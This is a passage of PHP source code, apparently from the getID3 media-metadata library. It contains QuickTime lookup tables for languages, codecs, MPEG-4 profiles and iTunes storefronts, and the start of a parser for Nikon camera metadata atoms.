			$QuicktimeLanguageLookup[28]    = 'Lettish';
			$QuicktimeLanguageLookup[28]    = 'Latvian';
			$QuicktimeLanguageLookup[29]    = 'Saamisk';
			$QuicktimeLanguageLookup[29]    = 'Lappish';
			$QuicktimeLanguageLookup[30]    = 'Faeroese';
			$QuicktimeLanguageLookup[31]    = 'Farsi';
			$QuicktimeLanguageLookup[31]    = 'Persian';
			$QuicktimeLanguageLookup[32]    = 'Russian';
			$QuicktimeLanguageLookup[33]    = 'Chinese (Simplified)';
			$QuicktimeLanguageLookup[34]    = 'Flemish';
			$QuicktimeLanguageLookup[35]    = 'Irish';
			$QuicktimeLanguageLookup[36]    = 'Albanian';
			$QuicktimeLanguageLookup[37]    = 'Romanian';
			$QuicktimeLanguageLookup[38]    = 'Czech';
			$QuicktimeLanguageLookup[39]    = 'Slovak';
			$QuicktimeLanguageLookup[40]    = 'Slovenian';
			$QuicktimeLanguageLookup[41]    = 'Yiddish';
			$QuicktimeLanguageLookup[42]    = 'Serbian';
			$QuicktimeLanguageLookup[43]    = 'Macedonian';
			$QuicktimeLanguageLookup[44]    = 'Bulgarian';
			$QuicktimeLanguageLookup[45]    = 'Ukrainian';
			$QuicktimeLanguageLookup[46]    = 'Byelorussian';
			$QuicktimeLanguageLookup[47]    = 'Uzbek';
			$QuicktimeLanguageLookup[48]    = 'Kazakh';
			$QuicktimeLanguageLookup[49]    = 'Azerbaijani';
			$QuicktimeLanguageLookup[50]    = 'AzerbaijanAr';
			$QuicktimeLanguageLookup[51]    = 'Armenian';
			$QuicktimeLanguageLookup[52]    = 'Georgian';
			$QuicktimeLanguageLookup[53]    = 'Moldavian';
			$QuicktimeLanguageLookup[54]    = 'Kirghiz';
			$QuicktimeLanguageLookup[55]    = 'Tajiki';
			$QuicktimeLanguageLookup[56]    = 'Turkmen';
			$QuicktimeLanguageLookup[57]    = 'Mongolian';
			$QuicktimeLanguageLookup[58]    = 'MongolianCyr';
			$QuicktimeLanguageLookup[59]    = 'Pashto';
			$QuicktimeLanguageLookup[60]    = 'Kurdish';
			$QuicktimeLanguageLookup[61]    = 'Kashmiri';
			$QuicktimeLanguageLookup[62]    = 'Sindhi';
			$QuicktimeLanguageLookup[63]    = 'Tibetan';
			$QuicktimeLanguageLookup[64]    = 'Nepali';
			$QuicktimeLanguageLookup[65]    = 'Sanskrit';
			$QuicktimeLanguageLookup[66]    = 'Marathi';
			$QuicktimeLanguageLookup[67]    = 'Bengali';
			$QuicktimeLanguageLookup[68]    = 'Assamese';
			$QuicktimeLanguageLookup[69]    = 'Gujarati';
			$QuicktimeLanguageLookup[70]    = 'Punjabi';
			$QuicktimeLanguageLookup[71]    = 'Oriya';
			$QuicktimeLanguageLookup[72]    = 'Malayalam';
			$QuicktimeLanguageLookup[73]    = 'Kannada';
			$QuicktimeLanguageLookup[74]    = 'Tamil';
			$QuicktimeLanguageLookup[75]    = 'Telugu';
			$QuicktimeLanguageLookup[76]    = 'Sinhalese';
			$QuicktimeLanguageLookup[77]    = 'Burmese';
			$QuicktimeLanguageLookup[78]    = 'Khmer';
			$QuicktimeLanguageLookup[79]    = 'Lao';
			$QuicktimeLanguageLookup[80]    = 'Vietnamese';
			$QuicktimeLanguageLookup[81]    = 'Indonesian';
			$QuicktimeLanguageLookup[82]    = 'Tagalog';
			$QuicktimeLanguageLookup[83]    = 'MalayRoman';
			$QuicktimeLanguageLookup[84]    = 'MalayArabic';
			$QuicktimeLanguageLookup[85]    = 'Amharic';
			$QuicktimeLanguageLookup[86]    = 'Tigrinya';
			$QuicktimeLanguageLookup[87]    = 'Galla';
			$QuicktimeLanguageLookup[87]    = 'Oromo';
			$QuicktimeLanguageLookup[88]    = 'Somali';
			$QuicktimeLanguageLookup[89]    = 'Swahili';
			$QuicktimeLanguageLookup[90]    = 'Ruanda';
			$QuicktimeLanguageLookup[91]    = 'Rundi';
			$QuicktimeLanguageLookup[92]    = 'Chewa';
			$QuicktimeLanguageLookup[93]    = 'Malagasy';
			$QuicktimeLanguageLookup[94]    = 'Esperanto';
			$QuicktimeLanguageLookup[128]   = 'Welsh';
			$QuicktimeLanguageLookup[129]   = 'Basque';
			$QuicktimeLanguageLookup[130]   = 'Catalan';
			$QuicktimeLanguageLookup[131]   = 'Latin';
			$QuicktimeLanguageLookup[132]   = 'Quechua';
			$QuicktimeLanguageLookup[133]   = 'Guarani';
			$QuicktimeLanguageLookup[134]   = 'Aymara';
			$QuicktimeLanguageLookup[135]   = 'Tatar';
			$QuicktimeLanguageLookup[136]   = 'Uighur';
			$QuicktimeLanguageLookup[137]   = 'Dzongkha';
			$QuicktimeLanguageLookup[138]   = 'JavaneseRom';
			$QuicktimeLanguageLookup[32767] = 'Unspecified';
		}
		if (($languageid > 138) && ($languageid < 32767)) {
			/*
			ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php
			Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field.
			The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate
			these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero.

			One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character
			and multiply by 2^10 (0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character,
			and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least
			significant bits and the most significant bit set to zero.
			*/
			$iso_language_id  = '';
			$iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60);
			$iso_language_id .= chr((($languageid & 0x03E0) >>  5) + 0x60);
			$iso_language_id .= chr((($languageid & 0x001F) >>  0) + 0x60);
			$QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id);
		}
		return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid');
	}

	public function QuicktimeVideoCodecLookup($codecid) {
		static $QuicktimeVideoCodecLookup = array();
		if (empty($QuicktimeVideoCodecLookup)) {
			$QuicktimeVideoCodecLookup['.SGI'] = 'SGI';
			$QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1';
			$QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2';
			$QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4';
			$QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB';
			$QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC';
			$QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG';
			$QuicktimeVideoCodecLookup['b16g'] = '16Gray';
			$QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray';
			$QuicktimeVideoCodecLookup['b48r'] = '48RGB';
			$QuicktimeVideoCodecLookup['b64a'] = '64ARGB';
			$QuicktimeVideoCodecLookup['base'] = 'Base';
			$QuicktimeVideoCodecLookup['clou'] = 'Cloud';
			$QuicktimeVideoCodecLookup['cmyk'] = 'CMYK';
			$QuicktimeVideoCodecLookup['cvid'] = 'Cinepak';
			$QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG';
			$QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC';
			$QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL';
			$QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC';
			$QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL';
			$QuicktimeVideoCodecLookup['fire'] = 'Fire';
			$QuicktimeVideoCodecLookup['flic'] = 'FLC';
			$QuicktimeVideoCodecLookup['gif '] = 'GIF';
			$QuicktimeVideoCodecLookup['h261'] = 'H261';
			$QuicktimeVideoCodecLookup['h263'] = 'H263';
			$QuicktimeVideoCodecLookup['IV41'] = 'Indeo4';
			$QuicktimeVideoCodecLookup['jpeg'] = 'JPEG';
			$QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD';
			$QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A';
			$QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B';
			$QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1';
			$QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420';
			$QuicktimeVideoCodecLookup['path'] = 'Vector';
			$QuicktimeVideoCodecLookup['png '] = 'PNG';
			$QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint';
			$QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX';
			$QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw';
			$QuicktimeVideoCodecLookup['raw '] = 'RAW';
			$QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple';
			$QuicktimeVideoCodecLookup['rpza'] = 'Video';
			$QuicktimeVideoCodecLookup['smc '] = 'Graphics';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3';
			$QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9';
			$QuicktimeVideoCodecLookup['tga '] = 'Targa';
			$QuicktimeVideoCodecLookup['tiff'] = 'TIFF';
			$QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW';
			$QuicktimeVideoCodecLookup['WRLE'] = 'BMP';
			$QuicktimeVideoCodecLookup['y420'] = 'YUV420';
			$QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo';
			$QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned';
			$QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned';
		}
		return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : '');
	}

	public function QuicktimeAudioCodecLookup($codecid) {
		static $QuicktimeAudioCodecLookup = array();
		if (empty($QuicktimeAudioCodecLookup)) {
			$QuicktimeAudioCodecLookup['.mp3']          = 'Fraunhofer MPEG Layer-III alias';
			$QuicktimeAudioCodecLookup['aac ']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['agsm']          = 'Apple GSM 10:1';
			$QuicktimeAudioCodecLookup['alac']          = 'Apple Lossless Audio Codec';
			$QuicktimeAudioCodecLookup['alaw']          = 'A-law 2:1';
			$QuicktimeAudioCodecLookup['conv']          = 'Sample Format';
			$QuicktimeAudioCodecLookup['dvca']          = 'DV';
			$QuicktimeAudioCodecLookup['dvi ']          = 'DV 4:1';
			$QuicktimeAudioCodecLookup['eqal']          = 'Frequency Equalizer';
			$QuicktimeAudioCodecLookup['fl32']          = '32-bit Floating Point';
			$QuicktimeAudioCodecLookup['fl64']          = '64-bit Floating Point';
			$QuicktimeAudioCodecLookup['ima4']          = 'Interactive Multimedia Association 4:1';
			$QuicktimeAudioCodecLookup['in24']          = '24-bit Integer';
			$QuicktimeAudioCodecLookup['in32']          = '32-bit Integer';
			$QuicktimeAudioCodecLookup['lpc ']          = 'LPC 23:1';
			$QuicktimeAudioCodecLookup['MAC3']          = 'Macintosh Audio Compression/Expansion (MACE) 3:1';
			$QuicktimeAudioCodecLookup['MAC6']          = 'Macintosh Audio Compression/Expansion (MACE) 6:1';
			$QuicktimeAudioCodecLookup['mixb']          = '8-bit Mixer';
			$QuicktimeAudioCodecLookup['mixw']          = '16-bit Mixer';
			$QuicktimeAudioCodecLookup['mp4a']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM';
			$QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA';
			$QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III';
			$QuicktimeAudioCodecLookup['NONE']          = 'No Encoding';
			$QuicktimeAudioCodecLookup['Qclp']          = 'Qualcomm PureVoice';
			$QuicktimeAudioCodecLookup['QDM2']          = 'QDesign Music 2';
			$QuicktimeAudioCodecLookup['QDMC']          = 'QDesign Music 1';
			$QuicktimeAudioCodecLookup['ratb']          = '8-bit Rate';
			$QuicktimeAudioCodecLookup['ratw']          = '16-bit Rate';
			$QuicktimeAudioCodecLookup['raw ']          = 'raw PCM';
			$QuicktimeAudioCodecLookup['sour']          = 'Sound Source';
			$QuicktimeAudioCodecLookup['sowt']          = 'signed/two\'s complement (Little Endian)';
			$QuicktimeAudioCodecLookup['str1']          = 'Iomega MPEG layer II';
			$QuicktimeAudioCodecLookup['str2']          = 'Iomega MPEG *layer II';
			$QuicktimeAudioCodecLookup['str3']          = 'Iomega MPEG **layer II';
			$QuicktimeAudioCodecLookup['str4']          = 'Iomega MPEG ***layer II';
			$QuicktimeAudioCodecLookup['twos']          = 'signed/two\'s complement (Big Endian)';
			$QuicktimeAudioCodecLookup['ulaw']          = 'mu-law 2:1';
		}
		return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : '');
	}

	public function QuicktimeDCOMLookup($compressionid) {
		static $QuicktimeDCOMLookup = array();
		if (empty($QuicktimeDCOMLookup)) {
			$QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate';
			$QuicktimeDCOMLookup['adec'] = 'Apple Compression';
		}
		return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : '');
	}

	public function QuicktimeColorNameLookup($colordepthid) {
		static $QuicktimeColorNameLookup = array();
		if (empty($QuicktimeColorNameLookup)) {
			$QuicktimeColorNameLookup[1]  = '2-color (monochrome)';
			$QuicktimeColorNameLookup[2]  = '4-color';
			$QuicktimeColorNameLookup[4]  = '16-color';
			$QuicktimeColorNameLookup[8]  = '256-color';
			$QuicktimeColorNameLookup[16] = 'thousands (16-bit color)';
			$QuicktimeColorNameLookup[24] = 'millions (24-bit color)';
			$QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)';
			$QuicktimeColorNameLookup[33] = 'black & white';
			$QuicktimeColorNameLookup[34] = '4-gray';
			$QuicktimeColorNameLookup[36] = '16-gray';
			$QuicktimeColorNameLookup[40] = '256-gray';
		}
		return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid');
	}

	public function QuicktimeSTIKLookup($stik) {
		static $QuicktimeSTIKLookup = array();
		if (empty($QuicktimeSTIKLookup)) {
			$QuicktimeSTIKLookup[0]  = 'Movie';
			$QuicktimeSTIKLookup[1]  = 'Normal';
			$QuicktimeSTIKLookup[2]  = 'Audiobook';
			$QuicktimeSTIKLookup[5]  = 'Whacked Bookmark';
			$QuicktimeSTIKLookup[6]  = 'Music Video';
			$QuicktimeSTIKLookup[9]  = 'Short Film';
			$QuicktimeSTIKLookup[10] = 'TV Show';
			$QuicktimeSTIKLookup[11] = 'Booklet';
			$QuicktimeSTIKLookup[14] = 'Ringtone';
			$QuicktimeSTIKLookup[21] = 'Podcast';
		}
		return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid');
	}

	public function QuicktimeIODSaudioProfileName($audio_profile_id) {
		static $QuicktimeIODSaudioProfileNameLookup = array();
		if (empty($QuicktimeIODSaudioProfileNameLookup)) {
			$QuicktimeIODSaudioProfileNameLookup = array(
				0x00 => 'ISO Reserved (0x00)',
				0x01 => 'Main Audio Profile @ Level 1',
				0x02 => 'Main Audio Profile @ Level 2',
				0x03 => 'Main Audio Profile @ Level 3',
				0x04 => 'Main Audio Profile @ Level 4',
				0x05 => 'Scalable Audio Profile @ Level 1',
				0x06 => 'Scalable Audio Profile @ Level 2',
				0x07 => 'Scalable Audio Profile @ Level 3',
				0x08 => 'Scalable Audio Profile @ Level 4',
				0x09 => 'Speech Audio Profile @ Level 1',
				0x0A => 'Speech Audio Profile @ Level 2',
				0x0B => 'Synthetic Audio Profile @ Level 1',
				0x0C => 'Synthetic Audio Profile @ Level 2',
				0x0D => 'Synthetic Audio Profile @ Level 3',
				0x0E => 'High Quality Audio Profile @ Level 1',
				0x0F => 'High Quality Audio Profile @ Level 2',
				0x10 => 'High Quality Audio Profile @ Level 3',
				0x11 => 'High Quality Audio Profile @ Level 4',
				0x12 => 'High Quality Audio Profile @ Level 5',
				0x13 => 'High Quality Audio Profile @ Level 6',
				0x14 => 'High Quality Audio Profile @ Level 7',
				0x15 => 'High Quality Audio Profile @ Level 8',
				0x16 => 'Low Delay Audio Profile @ Level 1',
				0x17 => 'Low Delay Audio Profile @ Level 2',
				0x18 => 'Low Delay Audio Profile @ Level 3',
				0x19 => 'Low Delay Audio Profile @ Level 4',
				0x1A => 'Low Delay Audio Profile @ Level 5',
				0x1B => 'Low Delay Audio Profile @ Level 6',
				0x1C => 'Low Delay Audio Profile @ Level 7',
				0x1D => 'Low Delay Audio Profile @ Level 8',
				0x1E => 'Natural Audio Profile @ Level 1',
				0x1F => 'Natural Audio Profile @ Level 2',
				0x20 => 'Natural Audio Profile @ Level 3',
				0x21 => 'Natural Audio Profile @ Level 4',
				0x22 => 'Mobile Audio Internetworking Profile @ Level 1',
				0x23 => 'Mobile Audio Internetworking Profile @ Level 2',
				0x24 => 'Mobile Audio Internetworking Profile @ Level 3',
				0x25 => 'Mobile Audio Internetworking Profile @ Level 4',
				0x26 => 'Mobile Audio Internetworking Profile @ Level 5',
				0x27 => 'Mobile Audio Internetworking Profile @ Level 6',
				0x28 => 'AAC Profile @ Level 1',
				0x29 => 'AAC Profile @ Level 2',
				0x2A => 'AAC Profile @ Level 4',
				0x2B => 'AAC Profile @ Level 5',
				0x2C => 'High Efficiency AAC Profile @ Level 2',
				0x2D => 'High Efficiency AAC Profile @ Level 3',
				0x2E => 'High Efficiency AAC Profile @ Level 4',
				0x2F => 'High Efficiency AAC Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 audio profiles',
				0xFF => 'No audio capability required',
			);
		}
		return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private');
	}


	public function QuicktimeIODSvideoProfileName($video_profile_id) {
		static $QuicktimeIODSvideoProfileNameLookup = array();
		if (empty($QuicktimeIODSvideoProfileNameLookup)) {
			$QuicktimeIODSvideoProfileNameLookup = array(
				0x00 => 'Reserved (0x00) Profile',
				0x01 => 'Simple Profile @ Level 1',
				0x02 => 'Simple Profile @ Level 2',
				0x03 => 'Simple Profile @ Level 3',
				0x08 => 'Simple Profile @ Level 0',
				0x10 => 'Simple Scalable Profile @ Level 0',
				0x11 => 'Simple Scalable Profile @ Level 1',
				0x12 => 'Simple Scalable Profile @ Level 2',
				0x15 => 'AVC/H264 Profile',
				0x21 => 'Core Profile @ Level 1',
				0x22 => 'Core Profile @ Level 2',
				0x32 => 'Main Profile @ Level 2',
				0x33 => 'Main Profile @ Level 3',
				0x34 => 'Main Profile @ Level 4',
				0x42 => 'N-bit Profile @ Level 2',
				0x51 => 'Scalable Texture Profile @ Level 1',
				0x61 => 'Simple Face Animation Profile @ Level 1',
				0x62 => 'Simple Face Animation Profile @ Level 2',
				0x63 => 'Simple FBA Profile @ Level 1',
				0x64 => 'Simple FBA Profile @ Level 2',
				0x71 => 'Basic Animated Texture Profile @ Level 1',
				0x72 => 'Basic Animated Texture Profile @ Level 2',
				0x81 => 'Hybrid Profile @ Level 1',
				0x82 => 'Hybrid Profile @ Level 2',
				0x91 => 'Advanced Real Time Simple Profile @ Level 1',
				0x92 => 'Advanced Real Time Simple Profile @ Level 2',
				0x93 => 'Advanced Real Time Simple Profile @ Level 3',
				0x94 => 'Advanced Real Time Simple Profile @ Level 4',
				0xA1 => 'Core Scalable Profile @ Level1',
				0xA2 => 'Core Scalable Profile @ Level2',
				0xA3 => 'Core Scalable Profile @ Level3',
				0xB1 => 'Advanced Coding Efficiency Profile @ Level 1',
				0xB2 => 'Advanced Coding Efficiency Profile @ Level 2',
				0xB3 => 'Advanced Coding Efficiency Profile @ Level 3',
				0xB4 => 'Advanced Coding Efficiency Profile @ Level 4',
				0xC1 => 'Advanced Core Profile @ Level 1',
				0xC2 => 'Advanced Core Profile @ Level 2',
				0xD1 => 'Advanced Scalable Texture @ Level1',
				0xD2 => 'Advanced Scalable Texture @ Level2',
				0xE1 => 'Simple Studio Profile @ Level 1',
				0xE2 => 'Simple Studio Profile @ Level 2',
				0xE3 => 'Simple Studio Profile @ Level 3',
				0xE4 => 'Simple Studio Profile @ Level 4',
				0xE5 => 'Core Studio Profile @ Level 1',
				0xE6 => 'Core Studio Profile @ Level 2',
				0xE7 => 'Core Studio Profile @ Level 3',
				0xE8 => 'Core Studio Profile @ Level 4',
				0xF0 => 'Advanced Simple Profile @ Level 0',
				0xF1 => 'Advanced Simple Profile @ Level 1',
				0xF2 => 'Advanced Simple Profile @ Level 2',
				0xF3 => 'Advanced Simple Profile @ Level 3',
				0xF4 => 'Advanced Simple Profile @ Level 4',
				0xF5 => 'Advanced Simple Profile @ Level 5',
				0xF7 => 'Advanced Simple Profile @ Level 3b',
				0xF8 => 'Fine Granularity Scalable Profile @ Level 0',
				0xF9 => 'Fine Granularity Scalable Profile @ Level 1',
				0xFA => 'Fine Granularity Scalable Profile @ Level 2',
				0xFB => 'Fine Granularity Scalable Profile @ Level 3',
				0xFC => 'Fine Granularity Scalable Profile @ Level 4',
				0xFD => 'Fine Granularity Scalable Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 Visual profiles',
				0xFF => 'No visual capability required',
			);
		}
		return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile');
	}


	public function QuicktimeContentRatingLookup($rtng) {
		static $QuicktimeContentRatingLookup = array();
		if (empty($QuicktimeContentRatingLookup)) {
			$QuicktimeContentRatingLookup[0]  = 'None';
			$QuicktimeContentRatingLookup[2]  = 'Clean';
			$QuicktimeContentRatingLookup[4]  = 'Explicit';
		}
		return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid');
	}

	public function QuicktimeStoreAccountTypeLookup($akid) {
		static $QuicktimeStoreAccountTypeLookup = array();
		if (empty($QuicktimeStoreAccountTypeLookup)) {
			$QuicktimeStoreAccountTypeLookup[0] = 'iTunes';
			$QuicktimeStoreAccountTypeLookup[1] = 'AOL';
		}
		return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid');
	}

	public function QuicktimeStoreFrontCodeLookup($sfid) {
		static $QuicktimeStoreFrontCodeLookup = array();
		if (empty($QuicktimeStoreFrontCodeLookup)) {
			$QuicktimeStoreFrontCodeLookup[143460] = 'Australia';
			$QuicktimeStoreFrontCodeLookup[143445] = 'Austria';
			$QuicktimeStoreFrontCodeLookup[143446] = 'Belgium';
			$QuicktimeStoreFrontCodeLookup[143455] = 'Canada';
			$QuicktimeStoreFrontCodeLookup[143458] = 'Denmark';
			$QuicktimeStoreFrontCodeLookup[143447] = 'Finland';
			$QuicktimeStoreFrontCodeLookup[143442] = 'France';
			$QuicktimeStoreFrontCodeLookup[143443] = 'Germany';
			$QuicktimeStoreFrontCodeLookup[143448] = 'Greece';
			$QuicktimeStoreFrontCodeLookup[143449] = 'Ireland';
			$QuicktimeStoreFrontCodeLookup[143450] = 'Italy';
			$QuicktimeStoreFrontCodeLookup[143462] = 'Japan';
			$QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg';
			$QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands';
			$QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand';
			$QuicktimeStoreFrontCodeLookup[143457] = 'Norway';
			$QuicktimeStoreFrontCodeLookup[143453] = 'Portugal';
			$QuicktimeStoreFrontCodeLookup[143454] = 'Spain';
			$QuicktimeStoreFrontCodeLookup[143456] = 'Sweden';
			$QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland';
			$QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom';
			$QuicktimeStoreFrontCodeLookup[143441] = 'United States';
		}
		return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid');
	}

	public function QuicktimeParseNikonNCTG($atom_data) {
		// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG
		// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
		// Data is stored as records of:
		// * 4 bytes record type
		// * 2 bytes size of data field type:
		//     0x0001 = flag   (size field *= 1-byte)
		//     0x0002 = char   (size field *= 1-byte)
		//     0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB
		//     0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD
		//     0x0005 = float  (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together
		//     0x0007 = bytes  (size field *= 1-byte), values are stored as ??????
		//     0x0008 = ?????  (size field *= 2-byte), values are stored as ??????
		// * 2 bytes data size field
		// * ? bytes data (string data may be null-padded; datestamp fields are in the format "2011:05:25 20:24:15")
		// all integers are stored BigEndian

		$NCTGtagName = array(
			0x00000001 => 'Make',
			0x00000002 => 'Model',
			0x00000003 => 'Software',
			0x00000011 => 'CreateDate',
			0x00000012 => 'DateTimeOriginal',
			0x00000013 => 'FrameCount',
			0x00000016 => 'FrameRate',
			0x00000022 => 'FrameWidth',
			0x00000023 => 'FrameHeight',
			0x00000032 => 'AudioChannels',
			0x00000033 => 'AudioBitsPerSample',
			0x00000034 => 'AudioSampleRate',
			0x02000001 => 'MakerNoteVersion',
			0x02000005 => 'WhiteBalance',
			0x0200000b => 'WhiteBalanceFineTune',
			0x0200001e => 'ColorSpace',
			0x02000023 => 'PictureControlData',
			0x02000024 => 'WorldTime',
			0x02000032 => 'UnknownInfo',
			0x02000083 => 'LensType',
			0x02000084 => 'Lens',
		);

		$offset = 0;
		$datalength = strlen($atom_data);
		$parsed = array();
		while ($offset < $datalength) {
//echo getid3_lib::PrintHexBytes(substr($atom_data, $offset, 4)).'<br>';
			$record_type       = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));  $offset += 4;
			$data_size_type    = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));  $offset += 2;
			$data_size         = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));  $offset += 2;
			switch ($data_size_type) {
				case 0x0001: // 0x0001 = flag   (size field *= 1-byte)
					$data = getid3_lib::BigEndian2Int(substr($atom_data, $offset, $data_size * 1));
					$offset += ($data_size * 1);
					break;
				case 0x0002: // 0x0002 = char   (size field *= 1-byte)
					$data = substr($atom_data, $offset, $data_size * 1);
					$offset += ($data_size * 1);
					$data = rtrim($data, "\x00");
					break;
				case 0x0003: // 0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB
					$data = '';
					for ($i = $data_size - 1; $i >= 0; $i--) {
						$data .= substr($atom_data, $offset + ($i * 2), 2);
					}
					$data = getid3_lib::BigEndian2Int($data);
					$offset += ($data_size * 2);
					break;
				case 0x0004: // 0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD
					$data = '';
					for ($i = $data_size - 1; $i >= 0; $i--) {
						$data .= substr($atom_data, $offset + ($i * 4), 4);
					}
					$data = getid3_lib::BigEndian2Int($data);
					$offset += ($data_size * 4);
					break;
				case 0x0005: // 0x0005 = float  (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together
					$data = array();
					for ($i = 0; $i < $data_size; $i++) {
						$numerator    = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 0, 4));
						$denomninator = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 4, 4));
						if ($denomninator == 0) {
							$data[$i] = false;
						} else {
							$data[$i] = (double) $numerator / $denomninator;
						}
					}
					$offset += (8 * $data_size);
					if (count($data) == 1) {
						$data = $data[0];
					}
					break;
				case 0x0007: // 0x0007 = bytes  (size field *= 1-byte), values are stored as ??????
					$data = substr($atom_data, $offset, $data_size * 1);
					$offset += ($data_size * 1);
					break;
				case 0x0008: // 0x0008 = ?????  (size field *= 2-byte), values are stored as ??????
					$data = substr($atom_data, $offset, $data_size * 2);
					$offset += ($data_size * 2);
					break;
				default:
echo 'QuicktimeParseNikonNCTG()::unknown $data_size_type: '.$data_size_type.'<br>';
					break 2;
			}

			switch ($record_type) {
				case 0x00000011: // CreateDate
				case 0x00000012: // DateTimeOriginal
					$data = strtotime($data);
					break;
				case 0x0200001e: // ColorSpace
					switch ($data) {
						case 1:
							$data = 'sRGB';
							break;
						case 2:
							$data = 'Adobe RGB';
							break;
					}
					break;
				case 0x02000023: // PictureControlData
					$PictureControlAdjust = array(0=>'default', 1=>'quick', 2=>'full');
					$FilterEffect = array(0x80=>'off', 0x81=>'yellow', 0x82=>'orange',    0x83=>'red', 0x84=>'green',  0xff=>'n/a');
					$ToningEffect = array(0x80=>'b&w', 0x81=>'sepia',  0x82=>'cyanotype', 0x83=>'red', 0x84=>'yellow', 0x85=>'green', 0x86=>'blue-green', 0x87=>'blue', 0x88=>'purple-blue', 0x89=>'red-purple', 0xff=>'n/a');
					$data = array(
						'PictureControlVersion'     =>                           substr($data,  0,  4),
						'PictureControlName'        =>                     rtrim(substr($data,  4, 20), "\x00"),
						'PictureControlBase'        =>                     rtrim(substr($data, 24, 20), "\x00"),
						//'?'                       =>                           substr($data, 44,  4),
						'PictureControlAdjust'      => $PictureControlAdjust[ord(substr($data, 48,  1))],
						'PictureControlQuickAdjust' =>                       ord(substr($data, 49,  1)),
						'Sharpness'                 =>                       ord(substr($data, 50,  1)),
						'Contrast'                  =>                       ord(substr($data, 51,  1)),
